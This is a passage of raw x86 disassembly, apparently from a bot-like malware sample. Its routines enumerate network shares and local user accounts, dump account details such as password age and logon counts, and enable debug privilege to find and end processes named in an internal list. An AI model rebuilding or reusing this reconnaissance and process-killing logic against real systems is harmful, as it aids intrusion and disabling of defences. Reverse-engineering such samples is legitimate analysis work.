XREF: sub_418FA3+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4D8F7C push off_438D44[eax*4] push offset dword_4393D0 push esi call sub_41C006 add esp, 10h jmp short loc_41905C ; --------------------------------------------------------------------------- loc_41903C: ; CODE XREF: sub_418FA3+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4D8F7C lea eax, [eax+eax*2] push off_438D40[eax*4] push offset unk_4393AC push esi call sub_41C006 add esp, 0Ch loc_41905C: ; CODE XREF: sub_418FA3+65j ; sub_418FA3+97j mov eax, esi pop edi pop esi pop ebp retn sub_418FA3 endp ; =============== S U B R O U T I N E ======================================= sub_419062 proc near ; CODE XREF: sub_41A367+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_41906F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41906F: ; CODE XREF: sub_419062+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427194 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4D917C, 1 mov ebp, eax jnz short loc_4190AC or byte_4D917C, 1 lea eax, [ebp+1] push eax call sub_41D735 pop ecx mov dword_4D8F1C, eax loc_4190AC: ; CODE XREF: sub_419062+32j push esi push esi push ebp push dword_4D8F1C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4D8F1C pop edi pop ebp pop ebx pop esi retn sub_419062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190C9 proc near ; CODE XREF: sub_418FA3+6Dp ; sub_41A68B+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov edi, eax call sub_419134 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C720 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419134 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4C91F8 pop edi leave retn sub_4190C9 endp ; =============== S U B R O U T I N E ======================================= sub_419134 proc near ; CODE XREF: sub_4190C9+Ap ; sub_4190C9+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419141 pop ebp retn ; --------------------------------------------------------------------------- loc_419141: ; CODE XREF: sub_419134+9j push ebx push esi mov esi, dword_4270F0 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D735 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419134 endp ; =============== S U B R O U T I N E ======================================= sub_419175 proc near ; CODE XREF: sub_418FA3+20p ; sub_41A367+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419134 push [esp+8+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx push 0 push eax push esi call dword_4C91D0 pop esi retn sub_419175 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419198 proc near ; CODE XREF: sub_401AC7+45D1p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419134 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 18h loc_4191D1: ; CODE XREF: sub_419198+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4C9248 mov ebx, eax cmp ebx, esi jz short loc_419234 cmp ebx, 0EAh jz short loc_419234 push ebx push ebx call sub_41994D pop ecx push eax lea eax, [ebp+var_210] push offset unk_439438 push eax call sub_41C006 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 24h jmp short loc_4192A1 ; --------------------------------------------------------------------------- loc_419234: ; CODE XREF: sub_419198+5Dj ; sub_419198+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_419298 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419242: ; CODE XREF: sub_419198+FCj push dword ptr [esi+10h] call dword_4C91EC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_419259 mov eax, offset aNo ; "No" loc_419259: ; CODE XREF: sub_419198+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C006 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419242 xor esi, esi loc_419298: ; CODE XREF: sub_419198+A2j push [ebp+var_4] call dword_4C9394 loc_4192A1: ; CODE XREF: sub_419198+9Aj cmp ebx, 0EAh jz loc_4191D1 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_419198 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B9 proc near ; CODE XREF: sub_401AC7:loc_40610Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_41935D mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_4192FB dec eax jz short loc_4192F0 dec eax jnz short loc_419316 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4193FF add esp, 14h jmp short loc_419312 ; --------------------------------------------------------------------------- loc_4192F0: ; CODE XREF: sub_4192B9+1Dj push ebx push edi call sub_4193DE pop ecx pop ecx jmp short loc_419312 ; --------------------------------------------------------------------------- loc_4192FB: ; CODE XREF: sub_4192B9+1Aj cmp [ebp+arg_8], edi jz short loc_41930F push [ebp+arg_8] push ebx push edi call sub_419384 add esp, 0Ch jmp short loc_419312 ; --------------------------------------------------------------------------- loc_41930F: ; CODE XREF: sub_4192B9+45j push 57h pop eax loc_419312: ; CODE XREF: sub_4192B9+35j ; sub_4192B9+40j ... cmp eax, edi jnz short loc_419336 loc_419316: ; CODE XREF: sub_4192B9+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4D9180 push off_438D44[eax*4] push offset unk_4394F0 push esi call sub_41C006 add esp, 10h jmp short loc_41937D ; --------------------------------------------------------------------------- loc_419336: ; CODE XREF: sub_4192B9+5Bj push eax call sub_41994D push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4D9180 push off_438D40[eax*4] push offset unk_4394C0 push esi call sub_41C006 add esp, 18h jmp short loc_41937D ; --------------------------------------------------------------------------- loc_41935D: ; CODE XREF: sub_4192B9+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4D9180 lea eax, [eax+eax*2] push off_438D40[eax*4] push offset unk_439498 push esi call sub_41C006 add esp, 0Ch loc_41937D: ; CODE XREF: sub_4192B9+7Bj ; sub_4192B9+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419384 proc near ; CODE XREF: sub_4192B9+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov edi, eax call sub_419134 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419134 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4C91DC pop edi leave retn sub_419384 endp ; =============== S U B R O U T I N E ======================================= sub_4193DE proc near ; CODE XREF: sub_4192B9+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419134 push [esp+8+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx push eax push esi call dword_4C91CC pop esi retn sub_4193DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_4192B9+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4C935C test eax, eax mov [ebp+arg_0], eax jnz loc_41978C mov eax, [ebp+var_4] test eax, eax jz loc_4197C7 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C006 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_419518 dec eax jz short loc_419511 dec eax jz short loc_41950A mov eax, offset aUnknown ; "Unknown" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_4193FF+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_4193FF+FFj mov eax, offset aUser_0 ; "User" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_419518: ; CODE XREF: sub_4193FF+FCj mov eax, offset aGuest ; "Guest" loc_41951D: ; CODE XREF: sub_4193FF+109j ; sub_4193FF+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 add esp, 20h pop edi pop ebx jmp short loc_4197B8 ; --------------------------------------------------------------------------- loc_41978C: ; CODE XREF: sub_4193FF+35j push eax lea eax, [ebp+var_204] push offset unk_439510 push eax call sub_41C006 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409862 add esp, 20h loc_4197B8: ; CODE XREF: sub_4193FF+38Bj cmp [ebp+var_4], 0 jz short loc_4197C7 push [ebp+var_4] call dword_4C9394 loc_4197C7: ; CODE XREF: sub_4193FF+40j ; sub_4193FF+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197CD proc near ; CODE XREF: sub_401AC7+4673p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419134 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 18h loc_41980C: ; CODE XREF: sub_4197CD+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4C9264 cmp eax, esi mov [ebp+var_C], eax jz short loc_41986D cmp eax, 0EAh jz short loc_41986D push eax push eax call sub_41994D pop ecx push eax lea eax, [ebp+var_218] push offset unk_439700 push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 24h jmp short loc_4198E8 ; --------------------------------------------------------------------------- loc_41986D: ; CODE XREF: sub_4197CD+62j ; sub_4197CD+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_4198FB xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4198E8 loc_41987F: ; CODE XREF: sub_4197CD+EDj cmp edi, esi jz short loc_4198BE push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41987F jmp short loc_4198E8 ; --------------------------------------------------------------------------- loc_4198BE: ; CODE XREF: sub_4197CD+B4j lea eax, [ebp+var_218] push offset unk_4396CC push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 1Ch loc_4198E8: ; CODE XREF: sub_4197CD+9Ej ; sub_4197CD+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_4198FB push edi call dword_4C9394 xor edi, edi mov [ebp+var_4], edi loc_4198FB: ; CODE XREF: sub_4197CD+A5j ; sub_4197CD+120j cmp [ebp+var_C], 0EAh jz loc_41980C cmp edi, esi jz short loc_419913 push edi call dword_4C9394 loc_419913: ; CODE XREF: sub_4197CD+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4197CD endp ; =============== S U B R O U T I N E ======================================= sub_41994D proc near ; CODE XREF: sub_418FA3+41p ; sub_419198+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_4199FF jz loc_4199F8 cmp eax, 7Bh ja short loc_4199C4 jz short loc_4199BA cmp eax, 5 jz short loc_4199B0 cmp eax, 8 jz short loc_4199A6 cmp eax, 32h jz short loc_41999C cmp eax, 35h jz short loc_419992 cmp eax, 57h jnz loc_419A4E push offset aInvalidParamet ; "Invalid parameter." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_419992: ; CODE XREF: sub_41994D+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_41999C: ; CODE XREF: sub_41994D+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199A6: ; CODE XREF: sub_41994D+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: sub_41994D+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199BA: ; CODE XREF: sub_41994D+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199C4: ; CODE XREF: sub_41994D+1Aj sub eax, 7Ch jz short loc_4199F1 sub eax, 7C8h jz short loc_4199EA dec eax jz short loc_4199E0 dec eax jnz short loc_419A4E push offset aDuplicateShare ; "Duplicate share name." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199E0: ; CODE XREF: sub_41994D+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199EA: ; CODE XREF: sub_41994D+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_41994D+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199F8: ; CODE XREF: sub_41994D+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199FF: ; CODE XREF: sub_41994D+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A38 jz short loc_419A31 sub eax, 8ADh jz short loc_419A63 dec eax dec eax jz short loc_419A2A dec eax jz short loc_419A23 dec eax dec eax jnz short loc_419A4E push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_41994D+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A2A: ; CODE XREF: sub_41994D+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A31: ; CODE XREF: sub_41994D+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A38: ; CODE XREF: sub_41994D+B9j sub eax, 8CAh jz short loc_419A6A sub eax, 17h jz short loc_419A63 sub eax, 25h jz short loc_419A5C sub eax, 29h jz short loc_419A55 loc_419A4E: ; CODE XREF: sub_41994D+35j ; sub_41994D+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A55: ; CODE XREF: sub_41994D+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A5C: ; CODE XREF: sub_41994D+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A63: ; CODE XREF: sub_41994D+C2j ; sub_41994D+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A6A: ; CODE XREF: sub_41994D+F0j push offset aNetworkConnect ; "Network connection not found." loc_419A6F: ; CODE XREF: sub_41994D+40j ; sub_41994D+4Aj ... push offset dword_4D8F20 call sub_41C006 pop ecx mov eax, offset dword_4D8F20 pop ecx retn sub_41994D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A81 proc near ; CODE XREF: sub_401AC7+46B8p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41DFD4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 26E0000h nop lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41DFD4 lea eax, [ebp+var_718] push eax call sub_41DFB7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4C9314 test eax, eax jnz short loc_419B11 mov esi, offset dword_4D8D1C push offset unk_439A34 push esi call sub_41C006 pop ecx pop ecx jmp short loc_419B3A ; --------------------------------------------------------------------------- loc_419B11: ; CODE XREF: sub_419A81+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41994D pop ecx mov esi, offset dword_4D8D1C push eax push offset dword_439A08 push esi call sub_41C006 add esp, 14h loc_419B3A: ; CODE XREF: sub_419A81+8Ej mov eax, esi pop esi leave retn sub_419A81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B3F proc near ; CODE XREF: sub_417269+45p ; sub_417269+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 2730D53h nop push eax call dword_4C92E8 test eax, eax jnz short loc_419B5E leave retn ; --------------------------------------------------------------------------- loc_419B5E: ; CODE XREF: sub_419B3F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4C92C0 test eax, eax jz short loc_419B9C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419B85 or [ebp+var_8], 2 jmp short loc_419B89 ; --------------------------------------------------------------------------- loc_419B85: ; CODE XREF: sub_419B3F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419B89: ; CODE XREF: sub_419B3F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4C9370 mov esi, eax loc_419B9C: ; CODE XREF: sub_419B3F+32j push [ebp+var_4] nop call near ptr 2680000h mov eax, esi pop esi leave retn sub_419B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BAA proc near ; CODE XREF: sub_401AC7+7781p ; sub_419DD9+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4C9324, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419DA9 cmp dword_4C9308, ebx jz loc_419DA9 cmp dword_4C9218, ebx jz loc_419DA9 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx push ebx push 0Fh call dword_4C9324 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419D9C lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4C9308 mov esi, dword_427078 test eax, eax jz loc_419D97 lea eax, [ebp+var_130] push eax push edi call dword_4C9218 test eax, eax jz loc_419D97 mov edi, dword_427094 mov ebx, 1F0FFFh loc_419C6E: ; CODE XREF: sub_419BAA+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419CD5 mov [ebp+var_4], offset off_439A60 loc_419C7C: ; CODE XREF: sub_419BAA+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2850000h nop test eax, eax jz short loc_419CA4 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439AC0 jl short loc_419C7C jmp loc_419D7D ; --------------------------------------------------------------------------- loc_419CA4: ; CODE XREF: sub_419BAA+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419D7D push 0 push eax nop call near ptr 273066Ch test eax, eax jnz loc_419D7D loc_419CCB: ; CODE XREF: sub_419BAA+1B9j push [ebp+var_4] call esi jmp loc_419D7D ; --------------------------------------------------------------------------- loc_419CD5: ; CODE XREF: sub_419BAA+C9j cmp [ebp+arg_C], eax jnz loc_419D68 cmp [ebp+arg_4], eax jz loc_419D7D push [ebp+var_128] push 8 call dword_4C9324 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D28 lea ecx, [ebp+var_354] push ecx push eax call dword_4C91C4 push [ebp+var_128] test eax, eax jz short loc_419D2E lea eax, [ebp+var_234] jmp short loc_419D34 ; --------------------------------------------------------------------------- loc_419D28: ; CODE XREF: sub_419BAA+15Cj push [ebp+var_128] loc_419D2E: ; CODE XREF: sub_419BAA+174j lea eax, [ebp+var_10C] loc_419D34: ; CODE XREF: sub_419BAA+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C006 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h jmp loc_419CCB ; --------------------------------------------------------------------------- loc_419D68: ; CODE XREF: sub_419BAA+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_419DB0 loc_419D7D: ; CODE XREF: sub_419BAA+F5j ; sub_419BAA+10Aj ... lea eax, [ebp+var_130] push eax push 